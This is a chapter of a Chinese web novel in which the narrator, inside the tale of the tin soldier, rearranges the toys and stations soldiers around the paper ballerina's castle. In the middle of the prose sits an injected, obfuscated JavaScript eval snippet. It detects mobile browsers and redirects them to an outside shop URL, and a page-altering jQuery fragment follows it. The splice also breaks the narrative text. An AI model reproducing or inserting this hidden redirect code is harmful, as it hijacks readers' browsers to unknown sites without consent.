我暗自松了口气。
自打进入小镇模型里小男孩的家后,我不止在一楼和小男孩的卧室呆过。
在小男孩帮我张罗伙食、倒水这种琐事的时候,在能涉及到的地方我都有意识地逛了一圈。
这样能为我进入童话后,节省不少用来观察的时间。
小男孩妹妹的卧室自然是个重点。
我记得我看到的,是个陈列了各种少女元素的卧室。
尤其是在玩具方面,数量不比小男孩,但类型都单一到专精了!
上有女皇教母,下有公主女爵,什么东西南北的精灵,鲛人,蝶妖,血族....应有尽有。
直白地说,锡兵去了,就等同于唐僧进了蜘蛛精窝......
嘿嘿(?ω ?)~
当然最关键的,还得是有能让锡兵产生共情的地方。
这更容易了,都不需要我出马。
那些被进行换装游戏的美女人偶们,关节灵活度很高,几乎都被小女孩扭成了她认为好看实则不脱个臼根本凹不出来的反人类动作。
而锡兵视角单一又喜欢催眠自己,别说一条腿了,再漏看掉一只两只手臂什么的....洒洒水啦。
同病相怜,物伤其类。
那么多比自己还惨的大美女们,凄凄楚楚晃悠在他跟前,要哪款有哪款的!
我就不信,这还扒不下一层锡心——!
ε=ε=ε=(~ ̄▽ ̄)~
咳咳咳......
当然。
我承认,这个方法,着实野路子了些。
身为“上层阶级”的我,其实有更多正常化的办法。
比如——
直接把独腿锡兵和纸芭蕾舞姑娘凑成一对,人为进行爱情捆绑,这样会有两种结局:
第一,的确为他们所愿,快乐大团圆;
第二,这样的强行固定让他们失去了原本的灵魂和独立性,成为纯粹的装饰品。
还比如——
直接销毁或者侧面震慑鼻烟壶中的黑妖精,让他不敢再造次。但小男孩又不是穿越者,他不应该对鼻烟壶有什么恶意的想法。不过硬要走这条路,也可以创造出来。
再比如——
直接找个工匠给锡兵焊上一条新腿,尽量为他抹平悲剧的命运底色,以此让他融入到那24个锡兵当中,后面估计便也没有那么多因特殊性衍生出来的事情了。
还有太多的比如。
毕竟,拥有权力与预知能力的我似乎能做得太多太多了。
但这些方法......
都太普通了。
普通到如果我是自己的对手,我能想到它们每一个的应对策略。
所以,我不能。
我可以死于自作聪明,但不能输给普通。
......
打发掉其余几个孩子后,我走到了那座熟悉的金色宫殿前。
里头金光熠熠,端的是一片安静祥和。
抬起头,小人儿依旧摆着优美的舞姿。
嗨~
到你了。
按照如今的剧情,锡兵是暂时回不来了,但如果回来了,再与纸芭蕾舞姑娘续“前缘”怎么办?
同时,因为如今剧情的巨大偏移,锡兵缺席了他的奇幻冒险,那整个故事线会不会因此得到延长,磨到能产生另一场奇幻冒险的契机,因而从原来的一天多延长至三天、五天......甚至更多?
那么,纸芭蕾舞姑娘这个已知因素最好被掐掉。
摸了摸下巴,现在没有人打扰我了,我似乎可以做任何事。
我眼底闪过一抹幽光。
“唉......”
但很快我便不无惋惜地叹了口气。
作为妹妹最喜欢的玩具,小男孩怎么会去做手脚呢?
纸芭蕾舞姑娘的安全也一定被划归在规则中。
我用指甲扣了扣宫殿前的镜湖,又拨弄着几只小蜡鸭,漫不经心地玩着,好像就是小男孩本人一样。
目光再次扫过顶上的那个人儿。
从这个角度——
不知道为什么,那个纸芭蕾舞姑娘......看人的眼神原来有这么温柔吗?
甚至能看出是一种欣慰的温柔。
呐。
你这样,我很难处理你。
我故作为难地摇头晃脑,实则随着“哐”的一声,锡兵小队就被我连盒端了过来。
十分强迫症地按照身位和距离,我一一将这24位锡兵安排到金色宫殿合适的位置上。
站岗位,巡逻位,监视位
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849763|211800||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
......
不多时,原本华丽的宫殿便因为这些士兵的加入多了几分肃穆的气息。
“保护不好她,我就熔了你们!”
我面色冷峻。
话毕,我来到了桌子的另一头。
那里静静躺着一个深色的鼻烟壶。
来历不明,在它身上推敲不到什么规则。
但作为仅次于男女主的大反派,必须要得到妥善的处理。
我随手一抄,将鼻烟壶揣进口袋,便走出了房间。
揣在身上再说。
不像玩具的世界,虽然有趣,但白天是基本无法自由活动的。
在对比下,此刻的自由感被放大,但我心头的弦却没有松一分。
哒哒哒哒......
到一楼后,我懒洋洋地到处看了看,就像是一个到处找乐子的小男孩。
这里并不安静,来来往往好几个人。
不同角色,不同视角,体验感很强呐。
这个故事越来越完备了,我若有所思。
“小少爷,有什么可以帮你的吗?”
一个握着扫帚的女仆挡在了我的面前。
“我就是有点无聊。”我扫她一眼,随口应答。
“你的朋友们应该还没走远,要不我去——”
我拒绝了女仆的好意。
抵制动物表演,从你我做起。
“欸....”忽然看到什么,我眼睛一亮,指着一旮地方,“可以给我拿一枝吗?”
“当然啦。”女仆微笑着说,“这是才送来的,看来你和夫人都很喜欢。”
我喜滋滋地抱着一枝郁金香,踢踏着小步回到二楼。
折断一截过长的花枝后,我重新拿出鼻烟壶,大拇指推开壶盖,将郁金香插了进去。
正正好好,yeah~
带着改造过的鼻烟壶,我再次站到金城堡前,脸上带着一抹天真的微笑。
“我为你带来了一个花瓶,它可以装饰你的城堡。”
说着我便打开顶层的门,将插着郁金香的鼻烟壶安置了进去,离纸芭蕾舞姑娘不远不近。
小黑,没必要去嫉妒锡兵,也没条件和他牵扯了。
搁这好好做你的左右大护法吧。
......